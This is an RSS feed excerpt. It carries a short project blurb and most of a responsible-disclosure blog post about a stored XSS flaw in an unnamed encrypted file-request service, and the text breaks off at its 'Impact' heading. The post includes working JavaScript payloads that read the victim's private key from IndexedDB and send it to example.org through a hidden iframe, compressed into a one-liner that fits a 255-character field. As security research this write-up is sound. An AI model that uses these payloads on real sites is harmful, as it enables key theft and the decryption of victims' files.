                <guid>https://timvisee.com/projects/barbapappa/</guid>
                <description>&lt;blockquote&gt;
&lt;p&gt;Bar management application to manage transactions and inventory.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;barbapappa&quot;&gt;Visit project page on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Barbapappa is a digital bar management application to facilitate a
user-controlled platform for purchase processing, payment handling and
inventory management.&lt;&#x2F;p&gt;
&lt;p&gt;Barbapappa is a fully automated solution for small self-managed bars and
communities, to take away the hassle of manually registering purcahses using
telly marks on paper.&lt;&#x2F;p&gt;
&lt;p&gt;View more on the project pages over at:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;barbapappa&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;barbapappa&quot;&gt;GitLab&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</description>
            </item>
        
            <item>
                <title>Stealing private keys from a secure file sharing service</title>
                <pubDate>Sun, 27 Oct 2019 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/blog/stealing-private-keys-from-secure-file-sharing-service/</link>
                <guid>https://timvisee.com/blog/stealing-private-keys-from-secure-file-sharing-service/</guid>
                <description>&lt;p&gt;&lt;em&gt;Note: in agreement with the company, I decided not to name them to prevent
damaging their brand image. The company fixed the issue within an hour after
notifying them, big kudos for that.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Some days ago an article was posted on a Dutch tech website, showing off a newly
released service to securely request files from someone through the web.&lt;&#x2F;p&gt;
&lt;p&gt;As always, I&#x27;m super interested in the cryptographic implementation of such
services to ensure they&#x27;re secure. Even if for example, the company servers
would be compromised. Sadly, their website didn&#x27;t go deep into the technical
details. It only noted some simple facts that local cryptography is used with a
private key using RSA and AES to provide end-to-end encryption. The application
is not open-source which would allow easy auditing, and no white paper is
available.&lt;&#x2F;p&gt;
&lt;p&gt;Their website claims the system is secure, but everyone makes mistakes. So I
decided to put it to the test. Let&#x27;s see what I could break.&lt;&#x2F;p&gt;
&lt;p&gt;Spoiler alert: it didn&#x27;t turn out so well...&lt;&#x2F;p&gt;
&lt;span id=&quot;continue-reading&quot;&gt;&lt;&#x2F;span&gt;
&lt;p&gt;&lt;em&gt;This article goes into the technical details on how this was possible, you may
want to skip to the PoC &lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;stealing-private-keys-from-secure-file-sharing-service&#x2F;#video&quot;&gt;video&lt;&#x2F;a&gt; instead.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xss&quot;&gt;XSS
    &lt;a class=&quot;anchor&quot; href=&quot;#xss&quot; aria-label=&quot;Anchor link for: xss&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;After making an account, I started testing with some basic well-known techniques.
Soon I discovered that persistent&#x2F;stored &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Cross-site_scripting&quot;&gt;cross-site scripting&lt;&#x2F;a&gt; was possible
through the account and company name fields.&lt;&#x2F;p&gt;
&lt;p&gt;The service allows you to create a file request. You&#x27;ll then be provided a link
to send to someone, or you can send this by e-mail through their website.
The recipient user is presented with a page on which they can securely upload
files. The request includes your public key, which is used to securely encrypt
your files on their client before anything is transferred to servers. So far,
all well and good!&lt;&#x2F;p&gt;
&lt;p&gt;Here&#x27;s the thing. It appeared that on this file request page, the name (and
company name) of the user that initiated the request is presented, but not
properly sanitized.&lt;&#x2F;p&gt;
&lt;p&gt;By putting the following snippet in your account name field, a JavaScript
message will appear as soon as someone opens any of your request links.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;alert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Hi there!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;);&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;
    &lt;a href=&quot;xss-alert.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;3e32c754cfc0426800.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;This means we can execute our own code on a targets machine. That&#x27;s some nasty
stuff! The question is, what significant things can we do with this issue?&lt;&#x2F;p&gt;
&lt;h2 id=&quot;local-private-keys&quot;&gt;Local private keys
    &lt;a class=&quot;anchor&quot; href=&quot;#local-private-keys&quot; aria-label=&quot;Anchor link for: local-private-keys&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;The service uses client-side asymmetric encryption to secure your files. Because
we&#x27;re on a website, this must be done through JavaScript. This means that this
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;info.ssl.com&#x2F;faq-what-is-a-private-key&#x2F;&quot;&gt;private key&lt;&#x2F;a&gt; is accessible through JavaScript. The service stores
your generated private key in local &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;IndexedDB_API&quot;&gt;indexedDB&lt;&#x2F;a&gt; storage and is never
sent over the network.&lt;&#x2F;p&gt;
&lt;p&gt;To give some context on private keys: these are essentially what keep encrypted
files secure. Once you have the private key, you can decrypt files that use
that key-pair. You &lt;strong&gt;must&lt;&#x2F;strong&gt; protect this key, and &lt;strong&gt;cannot&lt;&#x2F;strong&gt; share it with someone
else.&lt;&#x2F;p&gt;
&lt;p&gt;You probably guessed it already, we can abuse this by accessing it ourselves by
modifying our snippet we put in the name field.&lt;&#x2F;p&gt;
&lt;p&gt;I wrote some code to retrieve all local data that includes our key.
I came this far in about half an hour. It&#x27;s all quite simple:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;dbReq &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;indexedDB&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;companyname&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;dbReq&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;onsuccess &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;store &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;dbReq&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;transaction&lt;&#x2F;span&gt;&lt;span&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;keys&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;objectStore&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;keys&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;52_private_key&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;store&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;onsuccess &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;alert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;store&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;pem&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;};
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Embedding this in our name will make the file request pages show the receiving
user&#x27;s private key in a JavaScript alert. Whoops.&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;xss-rsa.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;1cdb274754ccfde100.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;The amazing thing is that the request URL isn&#x27;t modified to achieve this. It
does not look suspicious. The malicious snippet is stored in the database.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;collect-private-keys-on-attackers-server&quot;&gt;Collect private keys on attackers server
    &lt;a class=&quot;anchor&quot; href=&quot;#collect-private-keys-on-attackers-server&quot; aria-label=&quot;Anchor link for: collect-private-keys-on-attackers-server&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Showing a user their private key isn&#x27;t interesting and looks suspicious for
sure. Let&#x27;s send this key to a remote server for the attacker to collect, and
profit, oh yes!&lt;&#x2F;p&gt;
&lt;p&gt;For this, I started an attempt on making &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;Methods&quot;&gt;POST&lt;&#x2F;a&gt; requests with the
private key data to a remote domain I own. Here I hit the first roadblock. The
name field only allows input up to 255 characters. Native JavaScript is quite
verbose with making a request, so some serious &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Code_golf&quot;&gt;golfing&lt;&#x2F;a&gt; would be
required.&lt;&#x2F;p&gt;
&lt;p&gt;Soon I found out &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;jquery.com&#x2F;&quot;&gt;jQuery&lt;&#x2F;a&gt; was included in the application, which allows
making super simple and short &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;Guide&#x2F;AJAX&quot;&gt;Ajax&lt;&#x2F;a&gt; requests. Brilliant!&lt;&#x2F;p&gt;
&lt;p&gt;This didn&#x27;t work out in the end though because of some set &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;CORS&quot;&gt;CORS&lt;&#x2F;a&gt; headers,
being a nice method for protecting against these kinds of things.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Edit: Someone
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;netsec&#x2F;comments&#x2F;dnwudw&#x2F;stealing_private_keys_from_a_secure_file_sharing&#x2F;f5jg0x5&#x2F;&quot;&gt;mentioned&lt;&#x2F;a&gt;
that this didn&#x27;t work due to a misconfiguration on my server instead. I did set
the &lt;code&gt;Access-Control-Allow-Origin&lt;&#x2F;code&gt; header to &lt;code&gt;*&lt;&#x2F;code&gt; but that didn&#x27;t fix it. I
then blindly assumed this was due to a CORS header on the company end.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Fun fact, this doesn&#x27;t work against non-&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;Guide&#x2F;AJAX&quot;&gt;Ajax&lt;&#x2F;a&gt; requests. Opting for a
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;Methods&quot;&gt;GET&lt;&#x2F;a&gt; request with the data suffixed to the URL was perfectly fine, so I
choose to use &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTML&#x2F;Element&#x2F;iframe&quot;&gt;&lt;code&gt;iframes&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;. I suffixed the data to the end of the URL
like &lt;code&gt;&#x2F;&#x2F;example.com&#x2F;?k=DATA&lt;&#x2F;code&gt;, and silently added an &lt;code&gt;iframe&lt;&#x2F;code&gt; to the page with
this link. The browser immediately loads this &lt;code&gt;iframe&lt;&#x2F;code&gt;, sending us our precious
data. This is what we need:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;append&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&amp;lt;iframe src=&amp;quot;&#x2F;&#x2F;example.com&#x2F;?k=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;btoa&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ecfdb9;&quot;&gt;JSON&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;stringify&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;secret_data&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&amp;quot; &#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;em&gt;Redirecting the user to the attacker&#x27;s page using
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;Window&#x2F;location&quot;&gt;&lt;code&gt;window.location.href&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; would work as well, but that looks
super suspicious.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Hurray! We&#x27;re now remotely collecting someone&#x27;s private key!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;proof-of-concept&quot;&gt;Proof of Concept
    &lt;a class=&quot;anchor&quot; href=&quot;#proof-of-concept&quot; aria-label=&quot;Anchor link for: proof-of-concept&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Now that we&#x27;ve implemented these steps, let&#x27;s build a proof of concept.&lt;&#x2F;p&gt;
&lt;p&gt;With some effort, I compressed the code from above into the following one-liner.
With my own short domain, it counts 250 characters, just below the 255 character
limit. Beautiful!&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;setTimeout&lt;&#x2F;span&gt;&lt;span&gt;(()&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;indexedDB&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;companyname&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;onsuccess&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#d0d0d0;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;.target.result.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;transaction&lt;&#x2F;span&gt;&lt;span&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;keys&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;objectStore&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;keys&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;getAll&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;onsuccess&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#d0d0d0;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;append&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&amp;lt;iframe src=&amp;quot;&#x2F;&#x2F;example.org?k=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;btoa&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ecfdb9;&quot;&gt;JSON&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;stringify&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span&gt;.target.result))&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&amp;quot;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;On the server-side I implemented a simple PHP script that retrieves the data we
suffixed to the URL, it parses it, pulls the key from the data and appends it to
a &lt;code&gt;keys.txt&lt;&#x2F;code&gt; file on my server. Nothing fancy.&lt;&#x2F;p&gt;
&lt;p&gt;This is all we need to steal someones private key for this service from a target!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;video&quot;&gt;Video
    &lt;a class=&quot;anchor&quot; href=&quot;#video&quot; aria-label=&quot;Anchor link for: video&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;I&#x27;ve recorded a simple video showing off the proof of concept.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;There are two users, Alice and Bob.&lt;&#x2F;li&gt;
&lt;li&gt;Alice creates a request link and sends it to Bob.&lt;&#x2F;li&gt;
&lt;li&gt;Bob opens the request link and his private key is stolen.&lt;&#x2F;li&gt;
&lt;li&gt;The private key is sent to an external server Alice has access to, and Alice
can now decrypt files sent to Bob.&lt;&#x2F;li&gt;
&lt;li&gt;On the right, the &lt;code&gt;keys.txt&lt;&#x2F;code&gt; file is shown in which stolen keys are collected.&lt;&#x2F;li&gt;
&lt;li&gt;In the end, I export Bob&#x27;s key through the website as normal and compare it to the key we stole. They match!&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;video controls&gt;&lt;source src=&quot;https:&#x2F;&#x2F;uploads.timvisee.com&#x2F;p&#x2F;stealing-private-keys-from-secure-file-sharing-service-poc-video.webm&quot; type=&quot;video&#x2F;webm&quot;&gt;&lt;source src=&quot;https:&#x2F;&#x2F;uploads.timvisee.com&#x2F;p&#x2F;stealing-private-keys-from-secure-file-sharing-service-poc-video.mp4&quot; type=&quot;video&#x2F;mp4&quot;&gt;Your browser does not support HTML5 video :(&lt;&#x2F;video&gt;&lt;&#x2F;p&gt;
&lt;p&gt;All in all, it took about 2 hours to figure all this out. Let&#x27;s start fixing
this.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fixed-in-an-hour&quot;&gt;Fixed in an hour
    &lt;a class=&quot;anchor&quot; href=&quot;#fixed-in-an-hour&quot; aria-label=&quot;Anchor link for: fixed-in-an-hour&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;After I built the PoC, I immediately contacted the company privately to notify
them about this issue. They did respond within 15 minutes over e-mail and we
agreed on a secure channel I could use to provide details on this issue.&lt;&#x2F;p&gt;
&lt;p&gt;I sent them the details at 22:08, including the PoC video. They published a fix
at 23:12. That&#x27;s just in about an hour. Big applause to the company for
fixing this issue so quickly. It shows they&#x27;re dedicated to securing their
service, as this was definitely out of company hours.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;impact&quot;&gt;Impact
